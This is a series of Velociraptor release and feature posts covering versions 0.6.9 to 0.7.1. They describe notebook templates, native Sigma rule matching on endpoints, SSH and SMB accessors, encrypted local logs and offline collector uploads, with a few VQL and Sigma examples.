Collection notebooks - these are attached to specific collections and allow post processing the collection results.
Hunt notebooks - are attached to a hunt and allow post processing of the collection data from a hunt.

This release further develops the Global notebooks workflow as a central place for collecting and sharing analysis results.

Templated notebooks

Many users use notebooks heavily to organize their investigation and guide users on what to collect. While Collection notebooks and Hunt notebooks can already include templates there was no way to customize the default Global notebook.

In this release, we define a new type of Artifact of type NOTEBOOK which allows a user to define a template for global notebooks.

In this example I will create such a template to help users gather server information about clients. I click on the artifact editor in the sidebar, then select Notebook Templates from the search screen. I then edit the built in Notebooks.Default artifact.

Adding a new notebook template

I can define multiple cells in the notebook. Cells can be of type vql, markdown or vql_suggestion. I usually use the markdown cells to write instructions for users of how to use my notebook, while vql cells can run queries like schedule collections or preset hunts.

Next I select the Global notebooks in the sidebar and click the New Notebook button. This brings up a wizard that allows me to create a new global notebook. After filling in the name of the notebook and electing which user to share it with, I can choose the template for this notebook.

Adding a new notebook template

I can see my newly added notebook template and select it.

Viewing the notebook from template

Copying notebook cells

In this release, Velociraptor allows copying of a cell from any notebook to the Global notebooks. This facilitates a workflow where users may filter, post-process and identify interesting artifacts in various hunt notebooks or specific collection notebooks, but then copy the post processed cell into a central Global notebook for collaboration.

For the next example, I collect the server artifact Server.Information.Clients and post process the results in the notebook to count the different clients by OS.

Post processing the results of a collection

Now that I am happy with this query, I want to copy the cell to my Admin Notebook which I created earlier.

Copying a cell to a global notebook

I can then select which Global noteboook to copy the cell into.

The copied cell still refers to the old collection

Velociraptor will copy the cell to the target notebook and add VQL statements to still refer to the original collection. This allows users of the global notebook to further refine the query if needed.

This workflow allows better collaboration between users.

VFS Downloads

Velociraptor’s VFS view is an interactive view of the endpoint’s filesystem. Users can navigate the remote filesystem using a familiar tree based navigation and interactively fetch various files from the endpoint.

Before the 0.7.1 release, the user was able to download and preview individual files in the GUI but it was difficult to retrieve multiple files downloaded into the VFS.

In the 0.7.1 release, there is a new GUI button to initiate a collection from the VFS itself. This allows the user to download all or only some of the files they had previously interactively downloaded into the VFS.

For example consider the following screenshot that shows a few files downloaded into the VFS.

Viewing the VFS

I can initiate a collection from the VFS - This is a server artifact (similar to the usual File Finder artifacts) that simply traverses the VFS with a glob uploading all files into a single collection.

Initiating a VFS collection

Using the glob I can choose to retrieve files with a particular filename pattern (e.g. only executables) or all files.

Inspecting the VFS collection

Finally, the GUI shows a link to the collected flow where I can inspect the files or prepare a download zip just like any other collection.

New VQL plugins and capabilities

This release introduces an exciting new capability: Built-in Sigma Support.

Built-in Sigma Support

Sigma is fast emerging as a popular standard for writing and distributing detections. Sigma was originally designed as a portable notation for multiple backend SIEM products: Detections expressed in Sigma rules can be converted (compiled) into a target SIEM query language (for example into Elastic queries) to run on the target SIEM.

Velociraptor is not really a SIEM in the sense that we do not usually forward all events to a central storage location where large queries can run on it. Instead, Velociraptor’s philosophy is to bring the query to the endpoint itself.

In Velociraptor, Sigma rules can directly be used on the endpoint, without the need to forward all the events off the system first! This makes Sigma a powerful tool for initial triage:

Apply a large number of Sigma rules on the local event log files.
Those rules that trigger immediately surface potentially malicious activity for further scrutiny.

This can be done quickly and at scale to narrow down on potentially interesting hosts during an IR. A great demonstration of this approach can be seen in the Video Live Incident Response with Velociraptor where Eric Capuano uses the Hayabusa tool deployed via Velociraptor to quickly identify the attack techniques evident on the endpoint.

Previously, we could only apply Sigma rules in Velociraptor by bundling the Hayabusa tool - which presents a curated set of Sigma rules but runs locally. In this release Sigma matching is done natively in Velociraptor and therefore the Velociraptor Sigma project simply curates the same rules that Hayabusa curates but does not require the Hayabusa binary itself.

You can read the full Sigma In Velociraptor blog post that describes this feature in great detail, but here I will quickly show how it can be used to great effect.

First I will import the set of curated Sigma rules from the Velociraptor Sigma project by collecting the Server.Import.CuratedSigma server artifact.

Getting the Curated Sigma rules

This will import a new artifact to my system with up to date Sigma rules, divided into different Status, Rule Level etc. For this example I will select the Stable rules at a Critical Level.

Collecting sigma rules from the endpoint

After launching the collection, the artifact will return all the matching rules and their relevant events. This is a quick artifact taking less than a minute on my test system. I immediately see interesting hits.

Detecting critical level rules

Using Sigma rules for live monitoring

Sigma rules can be used on more than just log files. The Velociraptor Sigma project also provides monitoring rules that can be used on live systems for real time monitoring.

The Velociraptor Hayabusa Live Detection option in the Curated import artifact will import an event monitoring version of the same curated Sigma rules. After adding the rule to the client’s monitoring rules with the GUI, I can receive interesting events for matching rules:

Live detection of Sigma rules

Other improvements

SSH/SCP accessor

Velociraptor normally runs on the end point and can directly collect evidence from the endpoint. However, many devices on the network can not install an endpoint agent - either because the operating system is not supported (for example embedded versions of Linux) or due to policy.

When we need to investigate such systems we often can only access them by Secure Shell (SSH). In the 0.7.1 release, Velociraptor has an ssh accessor which allows all plugins that normally use the filesystem to transparently use SSH instead.

For example, consider the glob() plugin which searches for files.

Globing for files over SSH

We can specify that the glob() uses the ssh accessor to access the remote system. By setting the SSH_CONFIG VQL variable, the accessor is able to use the locally stored private key to be able to authenticate with the remote system to access remote files.

We can combine this new accessor with the remapping feature to reconfigure the VQL engine to substitute the auto accessor with the ssh accessor when any plugin attempts to access files. This allows us to transparently use the same artifacts that would access files locally, but this time will transparently access these files over SSH:

Remapping the auto accessor with ssh

This example shows how to use the SSH accessor to investigate a debian system and collect the Linux.Debian.Packages artifact from it over SSH.

Distributed notebook processing

While Velociraptor is very efficient and fast, and can support a large number of endpoints connected to the server, many users told us that on busy servers, running notebook queries can affect server performance. This is because a notebook query can be quite intense (e.g. Sorting or Grouping a large data set) and in the default configuration the same server is collecting data from clients, performing hunts, and also running the notebook queries.

This release allows notebook processors to be run in another process. In Multi-Frontend configurations (also called Master/Minion configurations), the Minion nodes will now offer to perform notebook queries away from the master node. This allows this sudden workload to be distributed to other nodes in the cluster and improve server and GUI performance.

ETW Multiplexing

Previous support for Event Tracing For Windows (ETW) was rudimentary. Each query that called the watch_etw() plugin to receive the event stream from a particular provider created a new ETW session. Since the total number of ETW sessions on the system is limited to 64, this used precious resources.

In 0.7.1 the ETW subsystem was overhauled with the ability to multiplex many ETW watchers on top of the same session. The ETW sessions are created and destroyed on demand. This allows us to more efficiently track many more ETW providers with minimal impact on the system.

Additionally the etw_sessions() plugin can show statistics for all sessions currently running including the number of dropped events.

Artifacts can be hidden in the GUI

Velociraptor comes with a large number of built in artifacts. This can be confusing for new users and admins may want to hide artifacts in the GUI.

You can now hide an artifact from the GUI using the artifact_set_metadata() VQL function. For example the following query will hide all artifacts which do not have Linux in their name.

SELECT *, artifact_set_metadata(hidden=TRUE, name=name)
FROM artifact_definitions()
WHERE NOT name =~ "Linux"

Only Linux related artifacts will now be visible in the GUI

Hiding artifacts from the GUI

Local encrypted storage for clients.

It is sometimes useful to write data locally on endpoints instead of transferring the data to the server. For example, if the client is not connected to the internet for long periods it is useful to write data locally. Also useful is to write data in case we want to recover it later during an investigation.

The downside of writing data locally on the endpoints is that this data may be accessed if the endpoint is later compromised. If the data contains sensitive information this can be used by an attacker. This is also primarily the reason that Velociraptor does not write a log file on the endpoint. Unfortunately, this makes it difficult to debug issues.

The 0.7.1 release introduces a secure local log file format. This allows the Velociraptor client to write to the local disk in a secure way. Once written the data can only be decrypted by the server.

While any data can be written to the encrypted local file, the Generic.Client.LocalLogs artifact allows Velociraptor client logs to be written at runtime.

Writing local logs

To read these locally stored logs I can fetch them using the Generic.Client.LocalLogsRetrieve artifact to retrieve the encrypted local file. The file is encrypted using the server’s public key and can only be decrypted on the server.

Inspecting the uploaded encrypted local file

Once on the server, I can decrypt the file using the collection’s notebook which automatically decrypts the uploaded file.

Decrypting encrypted local file

Conclusions

There are many more new features and bug fixes in the latest release.

Sigma In Velociraptor

Sun, 15 Oct 2023 00:14:44 +1000

This page discusses how Sigma is implemented and used within Velociraptor.

What is Sigma?

Detection engineering is an evolving field with many practitioners developing and evolving signatures rapidly, as new threats emerge and better detection capabilities are introduced. However, much of the time the specifics of how to write detection rules depend on the underlying software and detection engine. For example, a particular detection rule written to work on Elastic based SIEM is not easy to port to a different platform (e.g. Splunk).

Sigma is an attempt to abstract away the specifics of the detection engine into a generic high level signature description. The Sigma Rule, theoretically, does not target a specific detection product, but instead described high level concepts like process execution, registry access etc.

By providing a high level taxonomy for practitioners, detection rules can be exchanged with others in the community, even people using different backend detection engines.

Traditionally, a Sigma rule is not directly usable by many backend detection engines. Instead a Sigma Compiler transforms the Sigma rule to a specific query in the backend’s native query language. For example a Sigma rule may be “compiled” into an Elastic Query, or Splunk Query as needed.

While the full details of Sigma are described in the Main Sigma page https://sigmahq.io/ , in this post we will discuss as a high level those aspects of Sigma directly relevant to the Velociraptor implementation.

How is Sigma used traditionally?

Sigma was designed to write detection rules for traditional SIEM based detection engines.

Traditional SIEM workflow

Such a system is shown above:

Log Sources like event logs are collected by an endpoint agent
Events are forwarded over the network to a SIEM or central data lake solution.
Sigma Rules are compiled into native queries against the SIEM solution
The SIEM or data lake implementation uncovers detections based on this query.

In practice, each SIEM product has a unique way of normalizing the available data to fit within their own database schema. For example the Elastic ecosystem uses the Elastic Common Schema (ECS). The ECS schema converts from certain fields in the original event log file to different field names within the ECS - for example the field System.TimeCreated.SystemTime in the event log file is translated to the field @timestamp by the Elastic agent for storage in the database.

It is often hard to know exactly what the translation is supposed to be because vendors attempt to normalize many different log sources to the same schema. In the case of ECS the reference documentation is incredibly vague and we need to resort to reading the code to figure out the exact field mappings to understand exactly where each field is gathered from. Additionally, this translation is not always a simple renaming, but sometimes involves a non-trivial transformation by the Elastic agent which is not always well documented.

The Sigma rule

Sigma is designed to be a high level abstracted notation that can cater for the differences between the backends. This is achieved by defining yet another layer of abstraction over the original events. Consider the following reduced Sigma rule (The full rule here):

title: Scheduled Task Executed Uncommon LOLBIN
logsource:
    product: windows
    service: taskscheduler
detection:
    taskscheduler:
        Channel: Microsoft-Windows-TaskScheduler/Operational
    selection:
        EventID: 129
        Path|endswith:
            - \calc.exe
            - \cscript.exe
            - \mshta.exe
            - \mspaint.exe
            - \notepad.exe
            - \regsvr32.exe
            - \wscript.exe
    condition: taskscheduler and selection

Above we only included limited fields for the purpose of this discussion.

The rule triggers when the TaskScheduler event log file contains an event id 129 Task Scheduler launched task and the process launched ends with one of the executables listed.

To actually match this rule, The Sigma compiler needs to perform two mappings:

The logsource is ultimately mapped to the C:/Windows/System32/WinEvt/Logs/Microsoft-Windows-TaskScheduler%4Operational.evtx event log file or whatever table the backend SIEM uses to collect/store these events.
Each field referenced in the Sigma rule needs to be mapped to the field in the actual event. For example in this case the field Path needs to be translated to the field EventData.Path within the original event log, or whatever the specific SIEM uses to normalize that original field into its own database schema.

Limitations of the Sigma format

By introducing yet another layer of abstraction over the original event logs, the analyst needs to learn another taxonomy to reference the underlying data they are interested in. For example, in the above rule, the analyst wants to detect events found in the specific log file on the endpoint, but needs to know that Sigma uses the logsource specification with product=windows, service=taskscheduler to actually refer to that file.

In real life, there is a natural trade off between forwarding more events from the system (increasing detection capabilities) at the cost of more network transmission, storage requirement and scaling the backend database to handle the larger data sizes.

Typically this means that not all event logs are forwarded off the machine, only those that are considered relevant or important are forwarded. The exact choice of which event logs to forward depends on both the choice of SIEM vendor and the specific configuration of the SIEM involved.

For example, while there are a number of officially recognized log sources there is no guarantee that the underlying SIEM actually forwards any of these logs, and just like in the ECS example given above, there is no directly documented mapping between the abstract log sources and the actual files on disk.

To actually use the Sigma rule, we need to provide both the log source mapping and field mapping to the sigma compiler. Sigma is not actually its own matching engine, but simply a translation layer between an abstract format and the backend SIEM.

Sigma provides a set of compiler modules and field translations for a number of popular backend SIEMs with varying capabilities and internal schemas.

In practice, The Sigma rules need to be written with the target SIEM solution in mind, as well as the specific configuration of the entire system. For example, if a SIEM rule is written to use the Sysmon registry events (event ID 12,13,14) there is no guarantee that these events are actually forwarded from the endpoint into the SIEM (that depends on collection considerations), or that the target SIEM even supports these event types at all.

As an analyst writing Sigma rules, the additional layer of abstraction might seem pointless - they need to think of their rule in a different abstract terms to the SIEM that will actually be running these rules, but at the same time need to know exactly what backend query will be produced and if this query is even supported on their particular SIEM. It is very easy to write a rule that simply will not work on their particular backend SIEM because it uses some feature, log source or event field that is simply not available.

Advantages of Sigma

Despite these practical limitations, Sigma has grown in popularity in recent years because it allows for easy exchange of detection rules between users of different SIEM backends.

While not perfect, there is a reasonable chance that a Sigma rule written with one backend SIEM in mind will also work on another, providing it uses fairly common log sources and commonly collected event types, and does not use too complicated operators. This allows Sigma to be an attractive choice for writing and developing detection rules, especially for users who need to switch between many backend systems all the time.

How is Sigma implemented in Velociraptor?

Velociraptor is not a traditional SIEM and does not rely on a scalable large backend data mining engine for querying collected data. Instead, Velociraptor’s power lies in its Velociraptor Query Language which allows the endpoint agent itself to query data directly on the endpoint.

This means that Velociraptor has access to all information available on the endpoint without needing to rely on specific log forwarding configuration. Instead, queries are run directly on the endpoint and only matching events are forwarded to the server. This minimizes the total amount of data that needs to be managed by the server to only high value, relevant events that already match the Sigma rules.

Velociraptor Sigma Workflow

The above figure outlines the Velociraptor Sigma workflow:

Sigma rules are synced to the endpoint via a Standard Velociraptor Collection and are applied to an internal Sigma rule matching engine.
The engine determines which log sources will be used based on the actual rule requirement. Parsing additional log sources is easy to implement via a VQL query.
Events are collected from the relevant local log sources (e.g. by parsing the relevant EVTX files) and are compared efficiently against the set of Sigma rules target each log source.
Only matches are forwarded to the cloud (tagged by the Sigma rules by severity levels - e.g. Critical, High, Medium)
The Velociraptor server only deals with high value events by writing to local storage or forwarding to a SIEM for alerting/escalation.

In this arrangement, the event volumes sent to the server are very small because only post-filtered events are handled.

The Sigma Velociraptor plugin

As explained above, Sigma is an abstract format which requires implementations to provide a mapping between log sources and actual concrete implementations of these sources. Before we can match any Sigma rules in Velociraptor we need to teach Velociraptor how to map between the log sources mentioned in a Sigma rule and a real VQL query that will provide events from that source.

This mapping is created using the VQL sigma_log_sources() function. The function receives a list of log source names and their corresponding VQL queries.

For example, consider the following definition:

LET LogSources <= sigma_log_sources(
  `*/windows/taskscheduler`={
         SELECT * FROM parse_evtx(
          filename=ROOT+"/Microsoft-Windows-TaskScheduler%4Operational.evtx")
  },
)

When Velociraptor encounters the Sigma rule above it will look for a defined log source with category=*, product=windows, service=taskscheduler forming the following key */windows/taskscheduler

The second mapping described above is between the rules mentioned in the Sigma rule and the underlying fields in the actual event. Velociraptor implements these mapping definitions via VQL Lambda functions.

For example consider the following field mapping definitions:

LET FieldMapping <= dict(
  Path="x=>x.EventData.Path"
)

When Velociraptor attempts to evaluate a field mentioned in the Sigma rule, the Velociraptor Sigma engine will pass the event to this lambda function to resolve the actual field required. This allows us to implement any translation operation between Sigma fields and data based on the event itself - including more complex enrichment operators (more on that later!).

After defining the log sources and field mapping, we are ready to match Sigma rules using the sigma() VQL plugin.

This plugin receives a number of arguments:

rules: A list of sigma rules to compile and match.
log_sources: A log source object as obtained from the sigma_log_sources() VQL function described above.
field_mapping: A dict containing a mapping between a rule field name and a VQL Lambda to get the value of the field from the event.
debug: If enabled we emit all match objects with description of what would match.
rule_filter: If specified we use this callback to filter the rules for inclusion.Lambda
default_details: If specified we use this callback to determine a details column if the sigma rule does not specify it.

For an example of a simple Sigma based artifact, See the Windows.Sigma.EventLogs artifact

Managing a large repository of Sigma rules

The previous section described how Sigma rule matching is implemented in Velociraptor, but in practice we typically have a large number of Sigma rules, perhaps imported from external sources.

There are some challenges with Sigma and some rules are not written precisely enough to work in Velociraptor. For example, Sigma rules may reference non-existent log sources, or unknown fields that do not correspond to anything in the standard field mappings.

For this reason it is best to manage a large Sigma rule set using a specialized tool velosigmac. You can find this tool at https://sigma.velocidex.com or https://github.com/Velocidex/velociraptor-sigma-rules

The repository already contains a large number of rules from the Sigma project as well as Hayabusa rules, but you can also add your own rules.

The velosigmac tool is controlled via a config file specifying the various log sources and field mappings, and produces a zip file containing a Velociraptor artifact.

You can import the curated Sigma rules automatically by collecting the Server.Import.CuratedSigma server artifact.

Getting the Curated Sigma rules

Currently there are two types of curated artifacts:

A Curated ruleset based on the Hayabusa rules. This artifact is a regular CLIENT type artifact that can be used to scan all EVTX files on the endpoint for rules matches.
An Event based monitoring artifact that once installed follows all EVTX files to alert on Sigma rule matches in real time.

Sigma alerting via a CLIENT artifact

Velociraptor is not the only tool that can apply Sigma rules to a live system. Previously Velociraptor was integrated with Hayabusa, Chainsaw for quick triage using Sigma rules.

The ability to triage a system efficiently using Sigma rules allows first responders to quickly isolate the machines that need further investigation. In this regard the Sigma rules do not have to be perfect - they just need to indicate those machines requiring further work.

By applying a standard set of Sigma signatures to a large numbers of machines we can identify the interesting hosts quickly. An excellent demonstration of this technique can be seen in the Video Live Incident Response with Velociraptor where Eric Capuano uses the Hayabusa tool deployed via Velociraptor to quickly identify the attack techniques evident on the endpoint.

Now that Sigma is built into the Velociraptor engine itself, using these signatures is much more efficient. Simple collect the artifact imported earlier and collect it from the host in question, or start a hunt for all hosts.

Collecting sigma rules from the endpoint

The artifact has a number of configurable settings:

RuleLevel specifies which rules to include. Including lower level rules may detect interesting events but will also increase the false positive rate.
RuleStatus specifies which rule status to include - stable rules are more tested and less likely to produce false positives.

In the example below I collected Critical and High level rules. It is instructive to see the query log:

Query logs for Sigma collection

As can be seen the artifact selects 63 rules based on the Rule Level and Status parameters. These rules end up referencing only 8 log sources, so Velociraptor will only look at 8 log files - the largest of these of these is the System log which contains 178k events.

Overall, Velociraptor found 81 hits on these Sigma rules in 57 seconds, and immediately we can see some critical information:

Detecting critical level rules

Let’s select All Rules with a status of Stable and Experimental

Query logs for Sigma collection with All Rules

This time, there are 1500 rules matching 41 different log sources. The additional work required makes Velociraptor take 117 seconds now and it returns over 62 thousand hits!

The number of hits is too large to manually review, so I typically just want to know which rules were matched by stacking on the rule Title:

SELECT * FROM source(artifact="Sigma.Windows.Hayabusa.Rules")
GROUP BY Title

This reduces the number of rows to 62. I can immediately see interesting hits, even though they may be at low or informational level.

Detecting all rules in all levels

Typically for this type of collection, I tend to apply most of the rules because I can post process the hits later on the server, but you might want to collect only critical rules at first to reduce the amount of work the Velociraptor client needs to perform.

Using Sigma rules for rapid triage is a particularly attractive technique as shown above. Previously Velociraptor supported Sigma via pushing and launching the Hayabusa tool to the endpoint, and collecting the results from it.

So what advantages are there for natively supporting Sigma withing Velociraptor?

By supporting the rules natively, we can control execution more closely. In particular, Velociraptor’s CPU and memory controls can only work when Velociraptor itself is doing the work. By shelling out to an external tool we have no control over how many resources Hayabusa is using on the endpoint. Having Sigma as a built in capability allows Velociraptor to limit CPU utilization in order to minimize the impact on the endpoint.
Velociraptor is much more efficient than Hayabusa. Typically Velociraptor can match the same number of rules approximately 5 times faster. However, the most important difference is the much reduced memory requirements. In my testing, Hayabusa typically uses about 1-2Gb of memory on the endpoint vs. about 200-300mb used by Velociraptor, making Hayabusa too risky to deploy very widely.

Sigma alerting via real time monitoring artifacts

Velociraptor’s VQL queries are streaming queries. This means they deliver rows as soon as they become available, while the query itself does not have to terminate. This facility is called Client Monitoring or Event queries.

Since the built-in Sigma matching engine is also streaming and asynchronous, it is also possible to use event queries for log sources.

Configuring the Monitoring Sigma detection artifact

This time the endpoint will forward detection events to the server in real time.

Live detection of Sigma rules

In the above I can see immediately suspicious use of PSExec in real time!

Conclusions

While Sigma itself is not a matching engine, it presents a convenient abstraction over other matching engines. Integrating a Sigma matching engine within Velociraptor allows users to add easy to read and maintainable rules specifically designed for detection. The built in Sigma matching engine is extremely fast while being built on top of VQL.

This makes is flexible - it is possible to add arbitrary logs sources from any VQL query. For example log sources based on ETW are already in the works. This engine can efficiently match thousands of rules on the endpoint, either in real time, or from historical sources.

Sigma presents a lot of opportunities to extend the detection capabilities when running directly on the endpoint. Unlike using Sigma as an interface to a SIEM where we are really at the mercy of the log sources and fields that are forwarded by the collection agent and the SIEM, Sigma rules on the endpoint can refer to any log source - be it an event log or other more traditional sources of evidence, such as Volatile information like process information, registry keys or networking information.

Velociraptor 0.7.0 Release

Thu, 27 Jul 2023 00:00:00 +0000

I am very excited to announce the latest Velociraptor release 0.7.0 is now released.

In this post I will discuss some of the interesting new features.

GUI improvements

The GUI was updated in this release to improve user workflow and accessibility.

Enhanced client search

In previous versions client information was written to the datastore in individual files (one file per client record). This works ok as long as the number of clients is not too large and the filesystem is fast. As users are now deploying Velociraptor with larger deployment sizes we were seeing some slow downs when the number of clients exceeded 50k.

In this release the client index was rewritten to store all client records in a single snapshot file, while managing this file in memory. This approach allows client searching to be extremely quick even for large numbers of clients well over 100k.

Additionally we are now able to display the total number of hits in each search giving a more comprehensive indication of the total number of clients.

Paged table in Flows List

Velociraptor’s collections view shows the list of collections from the endpoint (or the server). Previously the GUI limited this view to 100 previous collections. This means that for heavily collected clients it was impossible to view older collections (without custom VQL).

In this release the GUI was updated to include a paged table (with suitable filtering and sorting capabilities) so all collections can be accessed.

VQL Plugins and artifacts

Chrome artifacts

Added a leveldb parser and artifacts around Chrome Session Storage. This allows to analyse data that is stored by Chrome locally by various web apps.

Lnk forensics

This release added a more comprehensive Lnk parser covering off on all known Lnk file features. You can access the Lnk file analysis using the `Windows.Forensics.Lnk artifact.

Direct S3 accessor

Velociraptor’s accessors provide a way to apply the many plugins that operate on files to other domains. In particular the glob() plugin allows searching the accessors for filename patterns.

In this release Velociraptor adds an S3 accessor. This allows plugins to directly operate on S3 buckets. In particular the glob() plugin can be used to query bucket contents and read files from various buckets. This capability opens the door for sophisticated automation around S3 buckets.

Volume Shadow Copies analysis

Window’s Volume Shadow Service (VSS) creates a snapshot of the drive at a point in time. Forensically, this is sometimes very helpful as it captures a point in time view of the previous disk state (If the VSS are still around when we perform our analysis).

Velociraptor provides access to the different VSS volumes via the ntfs accessor, and many artifacts previously provided the ability to report files that differed between VSS snapshots.

In the 0.7.0 release, Velociraptor adds the ntfs_vss accessor. This accessor automatically considers different snapshots and deduplicates files that are identical in different snapshots. This makes it much easier to incorporate VSS analysis into your artifacts.

The SQLiteHunter project

Many artifacts consist of parsing SQLite files. For example major browsers use SQLite files heavily.

This release incorporates the SQLiteHunter artifact. A one stop shop for finding and analyzing SQLite files such as browser artifacts and OS internal files. Although the project started with SQLite files, it now automates a lot of artifacts such as WebCacheV01 parsing and the Windows Search Service - aka Windows.edb (which are ESE based parsers).

This one artifact combines and obsoletes many distinct older artifacts.

More info at https://github.com/Velocidex/SQLiteHunter

Glob plugin improvements

The glob() plugin is probably the most used plugin in VQL, as it allows for the efficient search of filenames in the filesystem. While the glob() plugin can accept a list of glob expressions so the filesystem walk can be optimized as much as possible, it was previously difficult to know why a particular reported file was chosen.

In this release, the glob plugin reports the list of glob expressions that caused the match to be reported. This allows callers to more easily combine several file searches into the same plugin call.

URL style paths

In very old versions of Velociraptor nested paths could be represented as URL objects. Until now a backwards compatible layer was used to continue supporting this behavior. In the latest release URL style paths are no longer supported - use the pathspec() function to build proper OSPath objects.

Server improvements

Velociraptor offers automatic use of let’s encrypt certificates. However, Let’s encrypt can only issue certificates for port 443. This means that the frontend service (which is used to communicate with clients) has to share the same port as the GUI port (which is used to serve the GUI application). This makes it hard to create firewall rules to filter access to the frontend and not to the GUI when used in this configuration.

In the 0.7.0 release, Velociraptor offers the GUI.allowed_cidr option. If specified, the list of CIDR addresses will specify the source IP acceptable to the server for connections to the GUI application (for example 192.168.1.0/24).

This filtering only applies to the GUI and forms an additional layer of security protecting the GUI application (in addition to the usual authentication methods).

Better handling of out of disk errors

Velociraptor can collect data very quickly and sometimes this can results in a full disk. Previously a full disk error could cause file corruption and data loss. In this release the server monitors its free disk level and disables file writing when the disk is too full. This avoids data corruption when the disk fills up. When space is freed the server will automatically start writing again.

The offline collector

The offline collected is a pre-configured binary which can be used to automatically collect any artifacts into a ZIP file and optionally upload the file to a remote system like a cloud bucket or SMB share.

Previously, Velociraptor would embed the configuration file into the binary so it only needed to be executed (e.g. double clicked). While this method is still supported on Windows, it turned out that on MacOS this is no longer supported as binaries can not be modified after build. Even on Windows, embedding the configuration will invalidate the signature.

In this release a new type of collector is available Generic

This will embed the configuration into a shell script instead of the Velociraptor binary. Users can then launch the offline collector using the unmodified official binary by specifying the --embedded_config flag:

velociraptor-v0.7.0-windows-amd64.exe -- --embedded_config Collector_velociraptor-collector

While the method is required for MacOS, it can also be used for Windows in order to preserve the binary signature.

Conclusions

There are many more new features and bug fixes in the latest release.

Velociraptor 0.6.9 Release

Fri, 05 May 2023 00:00:00 +0000

I am very excited to announce the latest Velociraptor release 0.6.9 is now LIVE and available for download. This release has been in the making for a few months now and has a lot of new features and bug fixes.

In this post I will discuss some of the interesting new features.

GUI improvements

The GUI was updated in this release to improve user workflow and accessibility.

Table filtering and sorting

Previously, table filtering and sorting required a separate dialog. In this release the filtering controls were moved to the header of each column making it more natural to use.

Filtering tables.

VFS GUI improvements

The VFS UI allows the user to collect files from the endpoint in a familiar tree based user interface. In previous versions it was only possible to schedule a single download at a time. This proved problematic when the client was offline or transferring a large file because the user had no way to kick off the next download until the first file was fully fetched.

In this release the GUI was revamped to support multiple file downloads at the same time. Additionally it is now possible to schedule a file download by right clicking the download column in the file table and selecting “Download from client”.

Initiating file download in the VFS. Note multiple files can be scheduled at the same time, and the bottom details pane can be closed

Hex viewer and file previewer GUI

In release 0.6.9 a new hex viewer was introduced. This viewer makes it possible to quickly triage uploaded files from the GUI itself, implementing some common features:

The file can be viewed as a hex dump or a strings style output.
The viewer can go to an arbitrary offset within the file, or page forward or backwards.
The viewer can search forward or backwards in the file for a Regular Expression, String, or a Hex String.

The hex viewer previewer is available for artifacts that define a column of type preview_uploads including the File Upload table within the flow GUI.

The hex viewer UI can be used to quickly inspect an uploaded file

Artifact pack import GUI improvements

Velociraptor allows uploading an artifact pack - a simple Zip file containing artifact definitions. For example, the artifact exchange is simply a zip file with artifact definitions.

Previously artifact packs could only be uploaded in their entirety and always had an “Exchange” prefix prepended. However in this release the UI was revamped to allow only some artifacts to be imported from the pack and customize the prefix.

It is now possible to import only some of the artifacts in a pack

Direct SMB support

Windows file sharing is implemented over the SMB protocol. Within the OS, accessing remote file shares happens transparently, for example by mapping the remote share to a drive using net use command or accessing a file name starting with a UNC path (e.g. \\ServerName\Share\File.exe).

While Velociraptor can technically also access UNC shares by using the usual file APIs and providing a UNC path, in reality this does not work because Velociraptor is running as the local System user which normally does not have network credentials so it can not map remote shares.

This limitation is problematic because sometimes we need to access remote shares (e.g. to verify hashes, perform yara scans etc). Until this release the only workaround for this limitation was to install the Velociraptor user as a domain user account with credentials.

As of the 0.6.9 release SMB is supported directly within the Velociraptor binary as an accessor. This means that all plugins that normally operate on files can also operate on a remote SMB share transparently. Velociraptor does not rely on the OS to provide credentials to the remote share, instead credentials can be passed directly to the smb accessor to access the relevant smb server.

The new accessor can be used in any VQL that needs to use a file, but to make it easier there is a new artifact called the Windows.Search.SMBFileFinder artifact that allows for flexible file searches on an SMB share.

Searching a remote SMB share

Using SMB for distributing tools

Velociraptor can manage third party tools within its collected artifacts by instructing the endpoint to download the tool from an external server or the velociraptor server itself.

It is sometimes convenient to download external tools from an external server (e.g. a cloud bucket) due to bandwidth considerations.

Previously this server could only be a HTTP server, but in many deployments it is actually simpler to download external tools from an SMB share.

In this release Velociraptor accepts an SMB URL as the serve URL parameter within the tool configuration screen.

Serving a third party tool from an SMB server

You can configure the remote share with read only permissions (read these instructions for more details on configuring SMB).

The offline collector

The offline collector is a popular mode of running Velociraptor, where the artifacts to collect are pre-programmed into the collector which stores the results in a zip file. The offline collector can be pre-configured to encrypt and upload the collection automatically to a remote server without user interaction, making it ideal for using remote agents or people to manually run the collector without needing further training.

In this release the Velociraptor offline collector added two more upload targets. It is now possible to upload to an SMB server and to Azure Blob Storage.

SMB server uploads

Because the offline collector is typically used to collect large volumes of data, it is beneficial to upload the data to a networked server close to the collected machine. This avoids cloud network costs and bandwidth limitations and works very well in air gapped networks.

You can now simply create a new share on any machine, by adding a local Windows user with password credentials, exporting a directory as a share and adjusting the upload user’s permissions to only be able to write on the share and not read from it. It is now safe to embed these credentials in the offline collector - which can only upload data but not read or delete other data.

See the full instructions of how to configure the offline collector for SMB upload.

Azure Blob storage service.

Velociraptor can also upload collections to an Amazon S3 or Google Cloud Storage bucket. However until now, Velociraptor did not support the Azure offering. Many users requested direct support for Azure blob storage, which is now in 0.6.9.

See this for all The details about how to configure Azure for safe uploads, but similar to the other methods, credentials embedded in the offline collector can only be used to upload data and not read or delete data in the storage account.

Debugging VQL queries

One of the points of feedback we received from our annual user survey was that although VQL is an extremely powerful language, users struggled with debugging and understanding how the query proceeds. Unlike a more traditional programming language (e.g. Python), there is no debugger where users can pause execution and inspect variables, or add print statements to see what data is passed between parts of the query.

We took this feedback on board and in release 0.6.9 the EXPLAIN keyword was introduced. The EXPLAIN keyword can be added before any SELECT in the VQL statement to place that SELECT statement into tracing mode.

As a recap the general syntax of the VQL statement is:

SELECT vql_fun(X=1, Y=2), Foo, Bar
FROM plugin(A=1, B=2)
WHERE X = 1

When a query is in tracing mode:

All rows emitted from the plugin are logged with their types
All parameters into any function are also logged
When a row is filtered because it did not pass the WHERE clause this is also logged

This additional tracing information can be used to understand how data flows throughout the query.

Explaining a query reveals details information on how the VQL engine handles data flows

You can use the EXPLAIN statement in a notebook or within an artifact as collected from the endpoint (although be aware that it can lead to extremely verbose logging).

Inspect the details by clicking on the logs button

For example in the above query we can see:

The clients() plugin generates a row.
The timestamp() function received the last_seen_at value
The WHERE condition rejected the row because the last_seen_at time was more than 60 seconds ago.

Locking down the server

Another concern raised in our survey was the perceived risk of having Velociraptor permanently installed. Due to its high privilege and efficient scaling there is a risk that a Velociraptor administrator account compromise can be escalated to compromise the entire domain.

